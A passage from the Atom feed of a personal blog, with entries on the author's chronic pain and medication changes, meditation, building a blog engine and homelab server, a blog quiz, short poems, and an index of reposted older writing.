&lt;p&gt;Meditation and Duolingo are kind of the same; minimum time spent every day towards an end. It’s very funny to me to put them together like that, but what they have in common is that they’re daily practices in a very pure kind of way. There: my revealed religion is the getitdone nature of Duo-ism. To be enlightened is just to be friends with all of existence. Etc. etc.&lt;/p&gt;
&lt;p&gt;Work is another practice, with the added bonus of providing another kind of security which I am very childhood-intuned to care about. Two days a week, and I get to treat it as another meditation. I’m extremely privileged not to have this as a stressor.&lt;/p&gt;
&lt;p&gt;Time that I’m not doing those things is the “everything else” of life, maybe so because those things don’t involve Annie, and anything else can; despite being very separate in the ways that define us, we live life as a pair. Despite (what I can only describe as) the massive ball of ennui that wants to numb me to everything, it’s really easy to feel motivated to keep our home feeling cosy, tidy, clean, etc. It’s nice to go get coffee together, or to get No Chicken &amp; Lettuce sandwiches and Monster&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-fn2&quot; id=&quot;fnref-fn2&quot; data-footnote-ref&gt;3&lt;/a&gt;&lt;/sup&gt; from 7/11 and say hi to Ajay. (Hi Ajay.) And League of Legends is so nice for our competitive side (though I have to admit, it has outsized effects on my general feeling about life when people are really nasty to each other on it).&lt;/p&gt;
&lt;p&gt;I am doing the things that give me life. Nothing else really makes sense or matters right now.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-fn0&quot;&gt;
&lt;p&gt;In a BPD- and/or DID-ish type of way. &lt;a href=&quot;#fnref-fn0&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-fn1&quot;&gt;
&lt;p&gt;¯\_(ツ)_/¯ I tried. &lt;a href=&quot;#fnref-fn1&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-fn2&quot;&gt;
&lt;p&gt;OR NOT LATELY. Because, for some people, carbonated drinks are too fart-inducing. &lt;a href=&quot;#fnref-fn2&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;3&quot; aria-label=&quot;Back to reference 3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Dear Apple</title>
    <updated>2025-05-24T07:54:00Z</updated>
    <id>https://kivikakk.ee/2025/05/24/dear-apple</id>
    <link href="https://kivikakk.ee/2025/05/24/dear-apple" />

    <content type="html">&lt;p&gt;Could you please restore support for &lt;code&gt;ROSETTA_AOT_ERRORS_ARE_FATAL&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Yours,&lt;/p&gt;
&lt;p&gt;An “&lt;code&gt;AOT header specified too many segments&lt;/code&gt;” sufferer&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>sairyx</title>
    <updated>2025-05-24T03:18:00Z</updated>
    <id>https://kivikakk.ee/2025/05/24/sairyx</id>
    <link href="https://kivikakk.ee/2025/05/24/sairyx" />

    <content type="html">&lt;p&gt;Imported &lt;a href=&quot;https://kivikakk.ee/index/sairyx&quot;&gt;48 blog posts from 2010–2012&lt;/a&gt; by trawling archive.org. How did 2010 Wordpress have better syntax highlighting than any blog I’ve seen today? Must remedy.&lt;/p&gt;
&lt;p&gt;I saw so many different designs I’ve used over the years, but this one has to be my favourite:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/sairyx.png&quot; alt=&quot;screenshot of my homepage/blog circa 2012&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Current self-narrative for dealing with pain.</title>
    <updated>2025-05-23T12:07:00Z</updated>
    <id>https://kivikakk.ee/2025/05/23/a-self-narrative-for-dealing-with-pain</id>
    <link href="https://kivikakk.ee/2025/05/23/a-self-narrative-for-dealing-with-pain" />

    <content type="html">&lt;p&gt;I go through about three of these a week. Right now I’m telling myself that I’ve done everything I possibly can to get it recognised/understood/diagnosed, and that so far all anyone can say is “idk, fibro maybe?” means there is nothing more to be gained by worrying about it or trying to understand it, no more to be gained by reacting to today’s new form of it, or tomorrow’s, and that the only meaning I really can make of this is that I am to be someone who deals with this, to demonstrate what it means to live in acceptance and all that.&lt;/p&gt;
&lt;p&gt;(daily meditation this year has been pretty life-saving, incidentally.)&lt;/p&gt;
&lt;p&gt;And then if something does go wrong, well, that sucks, but doesn’t make this choice any less correct with the information I have now.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Machinist and Machine</title>
    <updated>2025-05-23T07:34:00Z</updated>
    <id>https://kivikakk.ee/2025/05/23/machinist-and-machine</id>
    <link href="https://kivikakk.ee/2025/05/23/machinist-and-machine" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://punkx.org/jackdoe/misery.html&quot;&gt;punkx.org&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I love coding so much. I don’t mean software, I mean just writing code and talking to the machine. […] Now most code I write is just tokens. Tens of thousands of tokens per day, empty. I skim through them to decide if they will work or not, accept or reject them. Again, and again… I have no empathy or emotion towards them, I feel nothing, I have become the computer that evaluates them. From machinist to machine. I can feel it. I can feel how it is taking me away from the path of understanding. Every day, little by little. You must have noticed it too.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Indeed, I have.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Of all bugs to have, I’m currently nursing a timezone-related error in my blog engine, and so everything’s appearing 10 hours ahead of time. Or maybe I just really am ahead of my time?&lt;/p&gt;
&lt;p&gt;edit: add “(UTC)” to the field so i remember. fixed.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>the rubenerd blog quiz 2025</title>
    <updated>2025-05-22T19:29:00Z</updated>
    <id>https://kivikakk.ee/2025/05/22/rubenerd-blog-quiz-2025</id>
    <link href="https://kivikakk.ee/2025/05/22/rubenerd-blog-quiz-2025" />

    <content type="html">&lt;p&gt;I haven’t done one of these kinds of things since I had a LiveJournal. &lt;a href=&quot;https://rubenerd.com/the-rubenerd-2025-blog-quiz/&quot;&gt;Here goes&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Have you ever proposed a blog quiz, or sneezed while riding a unicycle?&lt;/h4&gt;
&lt;p&gt;Not to my knowledge.&lt;/p&gt;
&lt;h4&gt;Sweet or savory?&lt;/h4&gt;
&lt;p&gt;Generally sweet.&lt;/p&gt;
&lt;h4&gt;What are three legacy consumer tech devices you’d love to see brought back into the mainstream?&lt;/h4&gt;
&lt;p&gt;Ehhhh, I don’t know. I am not much one for nostalgia, or forming memories that last more than a few years. I’m racking my brain but I just don’t. If LLM nonsense continues to infiltrate then I’ll have plenty to say?&lt;/p&gt;
&lt;h4&gt;Do you have a lucky number, colour, or day of the week?&lt;/h4&gt;
&lt;p&gt;11, all of them, none of them.&lt;/p&gt;
&lt;h4&gt;Free space&lt;/h4&gt;
&lt;pre class=&quot;athl highlight&quot;&gt;&lt;code&gt;Filesystem     512-blocks       Used  Available Capacity  iused       ifree %iused  Mounted on
…
/dev/disk3s5   7805330720 3818537728 &lt;strong&gt;3229630184&lt;/strong&gt;    55%  6905631 16148150920    0%   /System/Volumes/Data&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;What’s something you genuinely tried giving a go, but never grokked?&lt;/h4&gt;
&lt;p&gt;About 15 years ago I made my entire personality “if I try something and I don’t like it, I will try harder” when my job entailed interop with SharePoint. So far so good, I think.&lt;/p&gt;
&lt;h4&gt;Do you have a favourite virtualisation tech?&lt;/h4&gt;
&lt;p&gt;I’m playing a lot with &lt;a href=&quot;https://developer.apple.com/documentation/virtualization&quot;&gt;VZ&lt;/a&gt; right now (literally right now) and it’s pretty nice. More broadly, though, I have to hand it to QEMU. It is so complete. It is &lt;em&gt;so&lt;/em&gt; complete. User-space emulation is particularly magic. It’s also the only one I have &lt;a href=&quot;https://gitlab.com/qemu-project/qemu/-/commits/master?author=Asherah%20Connor&quot;&gt;commits&lt;/a&gt; in (afaik).&lt;/p&gt;
&lt;h4&gt;What’s the weirdest thing you’ve ever planted?&lt;/h4&gt;
&lt;p&gt;Seeds of doubt.&lt;/p&gt;
&lt;h4&gt;What’s your favourite instrumental song? Or if you don’t have one, what’s your &lt;em&gt;least&lt;/em&gt; favourite instrumental song? If you don’t have one, what’s your favourite instrumental song?&lt;/h4&gt;
&lt;p&gt;I couldn’t possibly name one. Also, what counts as instrumental? Here are two I’m especially fond of.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://fingerspit.bandcamp.com&quot;&gt;fingerspit&lt;/a&gt; — &lt;a href=&quot;https://fingerspit.bandcamp.com/album/the-cosmic-wheel-sisterhood-original-soundtrack&quot;&gt;The Cosmic Wheel Sisterhood Original Soundtrack&lt;/a&gt; — &lt;a href=&quot;https://fingerspit.bandcamp.com/track/x-the-sister&quot;&gt;X - The Sister&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://radicaldreamland.bandcamp.com/&quot;&gt;Lena Raine&lt;/a&gt; — &lt;a href=&quot;https://radicaldreamland.bandcamp.com/album/harmony-the-fall-of-reverie-original-game-soundtrack&quot;&gt;Harmony: The Fall of Reverie (Original Game Soundtrack)&lt;/a&gt; — &lt;a href=&quot;https://radicaldreamland.bandcamp.com/track/the-augural&quot;&gt;The Augural&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Have you lied in any of these questions?&lt;/h4&gt;
&lt;p&gt;The lioness does not concern herself with justifications.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Dreamt of an old friend.</title>
    <updated>2025-05-22T15:05:00Z</updated>
    <id>https://kivikakk.ee/2025/05/22/missed-you</id>
    <link href="https://kivikakk.ee/2025/05/22/missed-you" />

    <content type="html">&lt;p&gt;Not been in touch in many years — lost in the friendship group rift after a breakup — but we were once close, and would stretch time and plans to see each other when we’d be on the same continent.&lt;/p&gt;
&lt;p&gt;In the imaginal, we were both at some kind of chill gathering, a quiet house party, and it was wrapping up. It’d be the last time I’d see them before they were due to fly out, and we had a corner of the room to ourselves.&lt;/p&gt;
&lt;p&gt;I remember gently resting my head against their chest, and then — looking into each other’s eyes — very tenderly and gently sharing affirmations of our mutual love.&lt;/p&gt;
&lt;p&gt;Missed you.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>raid boss</title>
    <updated>2025-05-19T10:12:00Z</updated>
    <id>https://kivikakk.ee/2025/05/19/raid-boss</id>
    <link href="https://kivikakk.ee/2025/05/19/raid-boss" />

    <content type="html">&lt;p&gt;no highly esteemed deed is commemorated here… nothing valued is here. What is here was dangerous and repulsive to us.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/k8s.png&quot; alt=&quot;screenshot of a terminal window showing some combination of Docker and Nix commands&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>mi pila</title>
    <updated>2025-05-13T11:07:00Z</updated>
    <id>https://kivikakk.ee/2025/05/13/mi-pila</id>
    <link href="https://kivikakk.ee/2025/05/13/mi-pila" />

    <content type="html">&lt;p&gt;A few weeks (months?) ago I thought it’d be neat to have a little pop-up window visualising the output of &lt;code&gt;jj&lt;/code&gt;, so I could look at the changelog graph change in real-time as I did commands, rather than checking &lt;a href=&quot;https://nossa.ee/~talya/vyxos/explore/d1bb3c919d03ff4f846d7a3b2f590e8d331119c8/home/fish.nix?in=main#L36&quot;&gt;&lt;code&gt;Tl&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;jj log&lt;/code&gt;) repeatedly.&lt;/p&gt;
&lt;p&gt;En route, I really wanted to know what song was playing on my Inkplate, so I hastily threw together &lt;a href=&quot;https://nossa.ee/~talya/suena&quot;&gt;suena&lt;/a&gt; and a script for calling it over the network.&lt;/p&gt;
&lt;p&gt;As I started learning how to use &lt;code&gt;jj-lib&lt;/code&gt;, I decided it was finally time I would not just push it to GitHub, but make my own. &lt;a href=&quot;https://nossa.ee&quot;&gt;nóssa&lt;/a&gt; is very much a work-in-progress, but it’s functional (and backed up) enough that I can just keep everything there now. Along the way I learned to produce commit graphs the same way &lt;code&gt;jj&lt;/code&gt; does, and get used to &lt;code&gt;git2-rs&lt;/code&gt;, which has been neat.&lt;/p&gt;
&lt;p&gt;While pushing LiveViews a little too hard, I found I needed another Elixir/Phoenix project to work on, since nóssa’s a first-of-the-kind for me and I needed to learn faster and spread the mistakes out a little. Redoing my &lt;a href=&quot;https://nossa.ee/~talya/kv&quot;&gt;blog&lt;/a&gt; seemed like a good opportunity.  I’ve been putting off posting more until I finally got asset management done, but then I was finding the compile/Nix-realisation-time on my VPS prohibitive, so now I have a really big homelab server (&lt;code&gt;mothdust&lt;/code&gt;!) for the first time in forever.&lt;/p&gt;
&lt;p&gt;Now I’m thinking I’ll want a caching reverse proxy that sits on a very small VPS, so that if &lt;code&gt;mothdust&lt;/code&gt; goes down, GET requests can still work. And maybe I can make it do the upstream requests over the Erlang network instead of just being a dumb client. Among other things, this avoids having to bypass &lt;a href=&quot;https://anubis.techaro.lol/&quot;&gt;Anubis&lt;/a&gt; or similar things another way, and could also e.g. fetch a list of known pages to “pre-render” the site into cache, purge the cache automatically on code updates and content edits, etc.? I’m particularly trying to have fun with my website, because why not? It’s a part of me.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>sueños</title>
    <updated>2025-05-05T13:48:00Z</updated>
    <id>https://kivikakk.ee/2025/05/05/sueños</id>
    <link href="https://kivikakk.ee/2025/05/05/sueños" />

    <content type="html">&lt;p&gt;my dreams press in on me&lt;/p&gt;
&lt;p&gt;acumulando&lt;/p&gt;
&lt;p&gt;un till i more often reminisce of them than of this&lt;/p&gt;
&lt;p&gt;they bubble to the top, and over&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>cosas pequeñas</title>
    <updated>2025-05-05T05:11:00Z</updated>
    <id>https://kivikakk.ee/2025/05/05/cosas-pequeñas</id>
    <link href="https://kivikakk.ee/2025/05/05/cosas-pequeñas" />

    <content type="html">&lt;ul&gt;
&lt;li&gt;Got sick of having to do a half dozen VCS and Nix operations just to publish a new blog post; after a lifetime of managing to avoid it, gave in to the ultimate yak shave and wrote &lt;a href=&quot;https://nossa.ee/~talya/kv&quot;&gt;a little blog engine&lt;/a&gt;. (You’re reading from it now!)&lt;/li&gt;
&lt;li&gt;Got sick of waiting as long as I do for compiles on my VPS and ordered the bits for a little homelab server, which will probably replace the VPS entirely (though maybe I’ll keep a very small node for a static IP&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-cgnat&quot; id=&quot;fnref-cgnat&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; and not putting my home IP out there). Soon this blog will be hosted from home \o/&lt;/li&gt;
&lt;li&gt;Ketamine consult was straightforward. I can’t say it sounds promising, but I’m going through the motions to get a quote from a hospital.&lt;/li&gt;
&lt;li&gt;CLONIDINE. Taking that at night now, and fuckity fuck the night sweats are almost a non-issue, just at 50µg?! Holy grail. Life feels significantly less shit.&lt;/li&gt;
&lt;li&gt;Autumn is so welcome.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;just now&lt;/h3&gt;
&lt;p&gt;Annie: “Kas sa tead [&lt;em&gt;unintelligible&lt;/em&gt;]?”&lt;br /&gt;
Talya: “Kas ma tean.. mida?”&lt;br /&gt;
Annie: “Prawn?”&lt;br /&gt;
Talya: “Kas ma tean… prawn?”&lt;br /&gt;
Annie: &lt;em&gt;nods&lt;/em&gt;&lt;br /&gt;
Talya: “Tean küll. Oled sina.”&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-cgnat&quot;&gt;
&lt;p&gt;we’re in CGNAT territory out here :/ &lt;a href=&quot;#fnref-cgnat&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>omg</title>
    <updated>2025-04-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/04/27/omg</id>
    <link href="https://kivikakk.ee/2025/04/27/omg" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/omg.jpg&quot; alt=&quot;photo of me pointing out a mountain with mouth open, it’s some kind of meme ig&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>La sangre es más espesa que el agua.</title>
    <updated>2025-04-05T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/04/05/sangre-y-agua</id>
    <link href="https://kivikakk.ee/2025/04/05/sangre-y-agua" />

    <content type="html">&lt;p&gt;Rheumatologist was distracted and not really listening. He had nothing new to
offer at first, but after it was clear I wasn’t game for “what if we try more
anti-inflammatories” round III, he suggested a ketamine infusion to try to reset
my nerves. I don’t like the idea of a hospital stay but, y’know what? Fuck it,
we ball. Consult with the anaesthetologist in four weeks. If nothing else I get
to eat hot chip.&lt;/p&gt;
&lt;p&gt;Qué sorpresa, the tricyclic’s side-effects ended up prohibitive even on
minimum dose; seven weeks was the mark for “increase again and start reducing
duloxetine, or abort”, and I have chosen abort. No end in sight for night
sweating. Getting a hold of my psychiatrist again to see what his bag of tricks
might hold.&lt;/p&gt;
&lt;p&gt;Time skips along. I am unsure how I feel about the impressions I leave on
this world; unsure about most things. The rise of LLMs at this particular
juncture has been really depressing; I am starting to lose my patience to deal
with their insertion in my life in any context. The next time someone at work
suggests running something through ChatGPT I might just take the rest of the
day/week/month off. A good chunk of my industry has fallen for the bait. I was
already having trouble taking other people seriously, in general, as a concept.
Now I have to deal with them coming off as less interesting than the automata
they coo over. Please, tell me about your productivity gains. Tell me about the
vibes. Tell me. I am listening.&lt;/p&gt;
&lt;p&gt;There are a few things I am able to feel sure about,
one of which is this: &lt;nobr&gt;trans rights are human rights.&lt;/nobr&gt;
I don’t run any analytics and don’t often think about my reach, but I have some,
don’t I?&lt;/p&gt;
&lt;p&gt;May we find the liberation, friendship, and family we deserve. May we become
ourselves, unfettered by shame. May our arrows find their mark.&lt;/p&gt;
&lt;p&gt;Those who oppose our right to peace, self-determination, and a life worth living,
entirely on our own terms – may you eat shit and die.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Algún tipo de mitten</title>
    <updated>2025-03-14T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/03/14/algun-tipo-de-mitten</id>
    <link href="https://kivikakk.ee/2025/03/14/algun-tipo-de-mitten" />

    <content type="html">&lt;p&gt;I was sitting in the dark the other night, meditating; at this point in time,
there was a particular point on the inner side of my right ankle that was
particularly hurting, and my focus there; a little duller was an ache on the top
of my left foot. In being with it, I realised, oh, this is chronic pain.&lt;/p&gt;
&lt;p&gt;And it’s not a very surprising thought now, truly, but when you go to bed one
night and your leg hurts so much you’re worried there might be a blood clot,
it’s not yet obvious to you that this will be the start of something that
will last at least nine months more. But I think nine months without a cause
identified is probably a fine enough time to say we’ve crossed the line into
“chronic pain”.&lt;/p&gt;
&lt;p&gt;In the presence of daily pain that seems to change form and “spread” through
the body, it’s very hard to shake the feeling there isn’t something progressive
happening. My left eye is seemingly permanently some degree of bloodshot these
days. The bruising on my lower legs is ridiculous, and the way they refuse to
heal. I’d kind of prefer it if the pain coincided with them, but it mostly does
not.&lt;/p&gt;
&lt;p&gt;TCAs were indeed my GP’s preference, so I’ve started out a very slow transition
to amitriptyline. The relief with sleep has been immediate, an absolute
god-send. Was extremely sleepy in general the first week or so and napping
every day, but that’s a really nice experience after such a long time of
sleeplessness. That’s calmed down since, and while I’m still sweat-waking I’m
pretty much right back to sleep and actually feeling rested in mornings. I am
noticeably more dissociated on it; maybe it’s just the SNRI/TCA mix, maybe it’s
maybelline. Will adjust the dosage in three weeks.&lt;/p&gt;
&lt;p&gt;Rheumatologist follow-up finally in just under two weeks (last was &lt;a href=&quot;/2024/10/13/led/&quot;&gt;5 months
ago&lt;/a&gt;); I don’t expect anything useful to come from it. Called
it quits with my psych. Poco a poco.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Cadê nossas mittens?</title>
    <updated>2025-02-20T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/02/20/cade-nossas-mittens</id>
    <link href="https://kivikakk.ee/2025/02/20/cade-nossas-mittens" />

    <content type="html">&lt;p&gt;I keep trying really hard to improve my situation, but reality proves a harsh
mistress. The other day my wife said “it feels like our circle is getting
smaller”, and that’s something of a vibe.&lt;/p&gt;
&lt;p&gt;Health issues steadily worsen. Last month I was meant to try triggering the
arrhythmia with a Holter monitor, but my sleep started failing so much that I
couldn’t have put in the exertion required even if I wanted to. Around the same
time, my usual nightly cannabis started reliably provoking palpitations, so I
stopped it.&lt;/p&gt;
&lt;p&gt;Since then my ability to sleep has completely left the building. Coming off
nifedipine helped a little bit with inititation — without cannabis, falling
asleep was impossible because of how much it fucked with my blood pressure/head
— but maintenance is still impossible. Duloxetine wakes me up every hour or
two in sweat without fail.  Pain levels have steadily grown.&lt;/p&gt;
&lt;p&gt;I started lactating last month (!), which was cool, though I’ve also had a night
each month of really bad cramping since then too. Completely immobile from 8pm
to 4am last night, but without even the slightest chance of falling asleep or
dozing through parts of it; best I could do was rotate on the bed to try to
shift the sensation. Now it’s 10pm and I’ve woken from a five hour ‘nap’ and
ugh.&lt;/p&gt;
&lt;p&gt;Dissociative symptoms have grown &lt;em&gt;much&lt;/em&gt; worse since stopping regular cannabis
use, which was unexpected. I have a little note I add to when I notice psychosis
warning signs, which has been slowly growing, because I don’t know how else one
tracks this.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“feel like i’m a passenger in this body”&lt;/li&gt;
&lt;li&gt;feelings of thought insertion from kin&lt;/li&gt;
&lt;li&gt;“this life simulation is starting to get real weird lately” (re: stuff on
kitchen counter/unreality of it)&lt;/li&gt;
&lt;li&gt;“I just can’t get a grasp on anything”&lt;/li&gt;
&lt;li&gt;‘negative’ sx days esp. sleepless; anhedonia&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With continuous sleep deprivation being a trigger, it’s starting to get to a
point where I either fix that or fix this.&lt;/p&gt;
&lt;p&gt;It’s really unclear how I fix sleep. Coming off duloxetine without a replacement
is not an option, but another SNRI isn’t likely to be better (I remember night
sweats on desvenlafaxine), a plain SSRI isn’t likely to be good enough (last
time I was on escitalopram it wasn’t better than nothing), and while I don’t
have experience with other classes to know, it seems likely TCAs will share
this property. That said, they’d be new to me and therefore worth a shot.&lt;/p&gt;
&lt;p&gt;I could also try to force the issue by forcing sleep itself; temazepam is pretty
much a definite no given its long-term viability, trazodone is a maybe, and
z-drugs are what I’d like to angle for since they seem to fit the bill best.&lt;/p&gt;
&lt;p&gt;“angle for” because getting a psychiatrist within six months of asking for
one is pretty much impossible, as measured by kin who still hasn’t managed to
succeed in even getting a referral accepted — there isn’t any expert help
available, so, as usual, the best I can do is make my case to my GP, who is
helpful, resourceful, and has always done what she can.&lt;/p&gt;
&lt;p&gt;Fixing psychosis-adjacent issues is the other option. I’d probably be willing
to try quetiapine again, despite my last experience. Brexpiprazole might be
OK again too (also &lt;a href=&quot;https://doi.org/10.1192/bjp.2021.159&quot;&gt;lol&lt;/a&gt; (also “our
percentage of participants who identified as non-female (i.e. as male or
neither male nor female) was slightly larger (37%) than those in other studies
(approximately 25%)”, both figures incredible, BPD enbies represent!)). I list
only these two I’ve had experience with as, again, it’s on me to make the case
for prescribing. Streamlined authority 4246 schizophrenia, woo.&lt;/p&gt;
&lt;p&gt;Seeing the doctor tomorrow (after a bit more than a 3 week wait, but hey at
least it’s not months), so we’ll see.&lt;/p&gt;
&lt;p&gt;In other news, my last psychologist appointment went awfully — after eight
years with him, it’s probably time to call it quits. Surprised the hell out
of me by spending our entire hour on his fears and prejudices. I just kind of
dissociatively fawned through the whole thing and spent the next few hours in
shock until I slowly realised what had happened.&lt;/p&gt;
&lt;p&gt;To be clear, eight years before hitting a wall you really need help scaling is
a very good run, but this particular wall I’ve come up against repeatedly in the
last ~year and a half, this time most assuredly and directly, so.&lt;/p&gt;
&lt;p&gt;Still really enjoying Spanish and Portuguese. Daily meditation has been a bit
of an oasis. Home-cooked meals have suffered greatly as my sleep has. Char
decided to call it quits on Ava; once the editor (and its helper editor tool)
was ‘done’, she started back on some language features, but the more we did, the
more we realised we don’t particularly actually &lt;em&gt;want&lt;/em&gt; to write this language
as a “fun thing to do”, and so the impetus for implementing all its gory details
went out the window. We’ve been doing a bunch of CAD lately, though, since we
got a 3D printer, and that has been fun :) Likewise riding again with our kin.&lt;/p&gt;
&lt;p&gt;Finding the good where we can. Boa noite 🧡&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Reincorporation</title>
    <updated>2025-01-26T00:00:00Z</updated>
    <id>https://kivikakk.ee/2025/01/26/reincorporation</id>
    <link href="https://kivikakk.ee/2025/01/26/reincorporation" />

    <content type="html">&lt;p&gt;I’m reincorporating posts made by a variety of no-longer-public-facing selves,
long into the past. They’re reposted on this blog under their original dates,
with an index in this post. Sorry in advance if these flood your RSS reader!&lt;/p&gt;
&lt;p&gt;May they help someone along their way.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;alex&lt;/h2&gt;
&lt;p&gt;Daily writing exercise for my then-Dom, shared privately with her.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2018-05-07: &lt;a href=&quot;/alex/2018/05/07/bullet-journal&quot;&gt;bullet journal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-08: &lt;a href=&quot;/alex/2018/05/08/laptop&quot;&gt;laptop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-09: &lt;a href=&quot;/alex/2018/05/09/hypomania&quot;&gt;hypomania&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-10: &lt;a href=&quot;/alex/2018/05/10/bed&quot;&gt;bed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-12: &lt;a href=&quot;/alex/2018/05/12/green-tea&quot;&gt;green tea&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-13: &lt;a href=&quot;/alex/2018/05/13/105-710&quot;&gt;105/710&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-14: &lt;a href=&quot;/alex/2018/05/14/prelude&quot;&gt;prelude&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-15: &lt;a href=&quot;/alex/2018/05/15/tired&quot;&gt;tired&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-16: &lt;a href=&quot;/alex/2018/05/16/train&quot;&gt;train&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-17: &lt;a href=&quot;/alex/2018/05/17/panic-disorder&quot;&gt;panic disorder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-18: &lt;a href=&quot;/alex/2018/05/18/identity&quot;&gt;identity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2018-05-19: &lt;a href=&quot;/alex/2018/05/19/morgan&quot;&gt;morgan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;xue&lt;/h2&gt;
&lt;p&gt;Exploring my identity, shared with select friends.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2019-12-09: &lt;a href=&quot;/xue/2019/12/09/knowing-is-too-late/&quot;&gt;knowing is too late&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2020-03-31: &lt;a href=&quot;/xue/2020/03/31/key/&quot;&gt;key&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2020-04-24: &lt;a href=&quot;/xue/2020/04/24/born-in-song/&quot;&gt;born in song&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2020-09-14: &lt;a href=&quot;/xue/2020/09/14/thorn/&quot;&gt;thorn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2020-10-07: &lt;a href=&quot;/xue/2020/10/07/motherhood/&quot;&gt;motherhood&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2020-11-05: &lt;a href=&quot;/xue/2020/11/05/a-different-lens/&quot;&gt;a different lens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-03-15: &lt;a href=&quot;/xue/2021/03/15/collared/&quot;&gt;collared&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-02: &lt;a href=&quot;/xue/2021/04/02/one-step-forward/&quot;&gt;one step forward&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-04-27: &lt;a href=&quot;/xue/2021/04/27/submission/&quot;&gt;submission&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;flashes&lt;/h2&gt;
&lt;p&gt;Anonymous gemlog, stumbled upon by other users of &lt;a href=&quot;https://gemlog.blue&quot;&gt;gemlog.blue&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2021-03-25: &lt;a href=&quot;/flashes/2021/03/25/hostility&quot;&gt;hostility&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-03-29: &lt;a href=&quot;/flashes/2021/03/29/longing&quot;&gt;longing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2021-03-31: &lt;a href=&quot;/flashes/2021/03/31/blocked&quot;&gt;blocked&lt;/a&gt;&lt;/li&gt;
